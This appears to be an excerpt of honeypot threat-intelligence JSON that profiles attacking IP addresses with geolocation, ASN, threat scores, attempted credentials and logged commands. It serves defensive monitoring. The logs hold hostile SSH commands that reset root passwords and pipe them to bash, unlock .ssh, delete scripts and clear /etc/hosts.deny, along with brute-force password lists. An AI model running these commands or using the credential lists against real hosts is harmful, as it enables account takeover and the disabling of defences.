        "echo \"root:5QJVH6GzHo5G\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 215590,
      "as_org": "DpkgSoft International Limited",
      "threat_score": 32.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 267,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T22:53:09.784000+00:00",
        "last_seen_30d": "2026-04-25T23:53:05.107000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 203,
        "Suricata": 64
      }
    },
    "46.101.216.224": {
      "attack_count": 199,
      "first_seen": "2026-04-22T15:41:51.382Z",
      "last_seen": "2026-04-22T16:36:40.217Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root",
        "frappe",
        "test_user",
        "user",
        "345gs5662d34",
        "appuser",
        "dev",
        "dspace",
        "ftpuser",
        "ftpuser1",
        "git",
        "mysql",
        "oracle",
        "postgres",
        "proxyuser",
        "steam",
        "sysadmin",
        "template",
        "ubuntu",
        "user15"
      ],
      "passwords_attempted": [
        "1234",
        "123",
        "123456aaA",
        "1qaz2wsx#",
        "1qaz@WSX",
        "1qsx2wdc",
        "22222222",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin@123",
        "Frappe2025!@#",
        "Hn123456",
        "P@ssw0rd",
        "QwErTy",
        "Root123#",
        "Tt@123456",
        "Welcome1",
        "dev10!",
        "dspace123",
        "frappe22!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"test_user\\nY0d382TjolTJ\\nY0d382TjolTJ\\n\"|passwd",
        "echo -e \"test_user\\nY0d382TjolTJ\\nY0d382TjolTJ\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 27.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 260,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-22T15:41:51.382000+00:00",
        "last_seen_30d": "2026-04-22T16:37:47.238000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 199,
        "Suricata": 61
      }
    },
    "45.78.201.248": {
      "attack_count": 184,
      "first_seen": "2026-04-04T18:29:37.148Z",
      "last_seen": "2026-04-04T20:10:26.346Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "ubuntu",
        "345gs5662d34",
        "odoo",
        "admin1",
        "ftpuser3",
        "user",
        "user1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "00000",
        "12345678",
        "123@qwerty",
        "123qwe",
        "123qwe!@#",
        "Admin26!",
        "Odoo16",
        "P4ssword",
        "Passw0rd",
        "Qwerty2026!",
        "Root07!",
        "ZAQ!2wsx2026!@#",
        "aa1234567890",
        "ftpuser3",
        "qazwsx654321$",
        "root6666!!",
        "ubuntu!2025"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Odoo16\\nsEHJkGaVwglk\\nsEHJkGaVwglk\\n\"|passwd",
        "echo -e \"Odoo16\\nsEHJkGaVwglk\\nsEHJkGaVwglk\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 4.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 246,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T18:29:37.148000+00:00",
        "last_seen_30d": "2026-04-04T20:11:36.550000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 184,
        "Suricata": 62
      }
    },
    "218.61.247.229": {
      "attack_count": 182,
      "first_seen": "2026-04-17T02:22:02.157Z",
      "last_seen": "2026-04-17T02:27:54.332Z",
      "sessions": 91,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 21.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 274,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T02:22:02.157000+00:00",
        "last_seen_30d": "2026-04-17T02:29:00.095000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 182,
        "Suricata": 92
      }
    },
    "161.132.89.53": {
      "attack_count": 172,
      "first_seen": "2026-04-02T07:44:47.603Z",
      "last_seen": "2026-04-02T09:01:49.680Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "Abc2025!",
        "3245gs5662d34",
        "345gs5662d34",
        "AA01",
        "AA123-",
        "ABC1234",
        "DDee123456",
        "Dd123456Ee",
        "Director123",
        "Ef1234",
        "Hh12345",
        "Hh@1234",
        "Huawei123456!@#",
        "P@ssword1",
        "P@ssword@123",
        "Pq1234",
        "QAZPLM",
        "QWERTYUIOP123",
        "Qq1111",
        "asdfghjk"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:MlbpBgXREGyr\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Peru",
      "country_code": "PE",
      "city": "Lima",
      "asn": 27843,
      "as_org": "WIN EMPRESAS S.A.C.",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 228,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T07:44:47.603000+00:00",
        "last_seen_30d": "2026-04-02T09:02:55.276000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 172,
        "Suricata": 56
      }
    },
    "103.189.234.57": {
      "attack_count": 168,
      "first_seen": "2026-04-01T20:04:23.844Z",
      "last_seen": "2026-04-01T21:12:14.175Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "!2QwAsZx",
        "123123",
        "12345qwerty",
        "1234as",
        "2wsx#EDC2wsx",
        "3245gs5662d34",
        "345gs5662d34",
        "753951",
        "Admin-12345",
        "Qaz@2024",
        "Qwerty123456!",
        "Root54321",
        "Silicon1",
        "Sw123456.",
        "andre",
        "asdf1234!@",
        "asdfvcxz",
        "golfer01",
        "hive",
        "hp@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:uYom1GAWS0yy\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 138608,
      "as_org": "Cloud Host Pte Ltd",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 222,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T20:04:23.844000+00:00",
        "last_seen_30d": "2026-04-01T21:13:16.750000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 54
      }
    },
    "197.5.145.102": {
      "attack_count": 168,
      "first_seen": "2026-04-01T19:05:35.627Z",
      "last_seen": "2026-04-01T19:58:57.683Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "1qaSW@3ed",
        "1qaz@wsx!",
        "3245gs5662d34",
        "345gs5662d34",
        "FWQ,./123hlw",
        "Genius@2024",
        "NISECTC5002",
        "P@$$W0rd!",
        "Server_123",
        "Sh123456@",
        "aa789789",
        "abc@456",
        "ajifenxgjl",
        "c@123456",
        "defiant",
        "g00gle",
        "key",
        "tushar123",
        "wait",
        "web@12345"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:PmRZ2gCtBlGL\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Tunisia",
      "country_code": "TN",
      "city": null,
      "asn": 327934,
      "as_org": "Tunisie-Telecom",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 220,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T19:05:35.627000+00:00",
        "last_seen_30d": "2026-04-01T20:00:01.081000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 52
      }
    },
    "103.49.239.217": {
      "attack_count": 166,
      "first_seen": "2026-04-21T18:55:35.707Z",
      "last_seen": "2026-04-21T19:30:39.886Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "frappe",
        "user",
        "admin1234",
        "anna",
        "minecraft",
        "sammy",
        "test",
        "ubuntu",
        "wc"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123!@#qwe",
        "12345678",
        "1Qwertyuiop",
        "AA123456789",
        "AAxx000",
        "Admin@9000",
        "Lg!123456",
        "Nihao123",
        "P@ssw0rd12345",
        "Root2024!@#",
        "Sammy7",
        "User19",
        "XXdd111",
        "aabb1234",
        "admin",
        "admin1234",
        "anna",
        "frappe123456"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 25.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 232,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T18:55:35.707000+00:00",
        "last_seen_30d": "2026-04-21T19:31:46.341000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 166,
        "Suricata": 66
      }
    },
    "116.99.172.216": {
      "attack_count": 62,
      "first_seen": "2026-04-07T06:28:47.159Z",
      "last_seen": "2026-04-07T06:31:56.522Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "config",
        "guest",
        "squid",
        "support",
        "user"
      ],
      "passwords_attempted": [
        "1234",
        "admin",
        "123456",
        "config",
        "guest",
        "password",
        "root",
        "root123",
        "squid",
        "support"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 8.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.6,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 91,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T06:28:47.159000+00:00",
        "last_seen_30d": "2026-04-07T06:32:59.388000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 62,
        "Suricata": 29
      }
    },
    "139.135.45.135": {
      "attack_count": 50,
      "first_seen": "2026-04-09T08:40:19.311Z",
      "last_seen": "2026-04-09T08:45:43.716Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 9.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T08:40:19.311000+00:00",
        "last_seen_30d": "2026-04-09T08:46:47.791000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "206.168.201.74": {
      "attack_count": 50,
      "first_seen": "2026-04-10T11:42:50.033Z",
      "last_seen": "2026-04-10T11:48:14.257Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Gujranwala",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 10.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T11:42:50.033000+00:00",
        "last_seen_30d": "2026-04-10T11:49:18.946000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "27.206.37.210": {
      "attack_count": 44,
      "first_seen": "2026-04-01T04:00:57.092Z",
      "last_seen": "2026-04-01T04:05:42.508Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 67,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T04:00:57.092000+00:00",
        "last_seen_30d": "2026-04-01T04:06:45.794000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 44,
        "Suricata": 23
      }
    },
    "80.94.95.118": {
      "attack_count": 35,
      "first_seen": "2026-04-01T15:13:37.238Z",
      "last_seen": "2026-04-05T09:26:18.987Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root"
      ],
      "passwords_attempted": [
        "Admin123",
        "88888888"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 204428,
      "as_org": "SS-Net",
      "threat_score": 5.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.5,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 56,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T15:13:37.238000+00:00",
        "last_seen_30d": "2026-04-05T09:27:24.352000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 35,
        "Suricata": 21
      }
    },
    "213.177.179.21": {
      "attack_count": 28,
      "first_seen": "2026-04-10T10:51:37.053Z",
      "last_seen": "2026-04-15T16:27:35.717Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "kelltech",
        "root"
      ],
      "passwords_attempted": [
        "@123Kelltech",
        "@123kelltech",
        "@1Kelltech",
        "Admin1234@",
        "root@2026"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": null,
      "asn": 208137,
      "as_org": "Feo Prest SRL",
      "threat_score": 66.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 17.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 1693,
        "days_active_30d": 21,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-10T10:51:37.053000+00:00",
        "last_seen_30d": "2026-04-30T13:26:09.118000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1335,
        "Heralding": 330,
        "Cowrie": 28
      }
    },
    "77.46.149.30": {
      "attack_count": 27,
      "first_seen": "2026-04-26T16:18:40.660Z",
      "last_seen": "2026-04-26T16:18:58.351Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "a",
        "admin",
        "nil",
        "orangepi",
        "root"
      ],
      "passwords_attempted": [
        "",
        "a",
        "admin",
        "orangepi",
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Serbia",
      "country_code": "RS",
      "city": "Belgrade",
      "asn": 8400,
      "as_org": "TELEKOM SRBIJA a.d.",
      "threat_score": 31.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.5,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 45,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-26T16:18:40+00:00",
        "last_seen_30d": "2026-04-26T16:20:05.748000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 27,
        "Suricata": 16,
        "Honeytrap": 2
      }
    },
    "118.193.61.179": {
      "attack_count": 22,
      "first_seen": "2026-04-22T19:10:40.436Z",
      "last_seen": "2026-04-22T19:13:08.394Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "",
        "Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6",
        "GET / HTTP/1.1",
        "b'\\x05\\x04\\x00\\x01\\x02\\x80\\x05\\x01\\x00\\x03'"
      ],
      "passwords_attempted": [
        "",
        "Host: 172.105.186.117:23",
        "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0",
        "github.com\u0000PGET / HTTP/1.0"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 69.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.3,
        "persistence": 23.3,
        "diversity": 10,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 68,
        "days_active_30d": 28,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-02T06:25:07.773000+00:00",
        "last_seen_30d": "2026-04-29T19:56:35.634000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 34,
        "Cowrie": 22,
        "Honeytrap": 9,
        "Mailoney": 3
      }
    },
    "162.240.107.28": {
      "attack_count": 20,
      "first_seen": "2026-04-10T17:32:31.558Z",
      "last_seen": "2026-04-12T00:36:13.675Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "Kelltech",
        "Kelltech2025!",
        "Kelltech2026!",
        "kelltech"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 46606,
      "as_org": "Unified Layer",
      "threat_score": 11.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.1,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 32,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T17:32:31.558000+00:00",
        "last_seen_30d": "2026-04-12T00:37:16.166000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 12
      }
    },
    "185.242.226.17": {
      "attack_count": 16,
      "first_seen": "2026-04-08T16:35:10.546Z",
      "last_seen": "2026-04-27T03:51:43.522Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 202425,
      "as_org": "IP Volume inc",
      "threat_score": 69.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 21.3,
        "persistence": 19.2,
        "diversity": 14,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 136,
        "days_active_30d": 23,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-08T02:51:24+00:00",
        "last_seen_30d": "2026-04-30T21:16:51.435000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 87,
        "Honeytrap": 33,
        "Cowrie": 16
      }
    },
    "120.48.111.113": {
      "attack_count": 15,
      "first_seen": "2026-04-05T08:38:15.530Z",
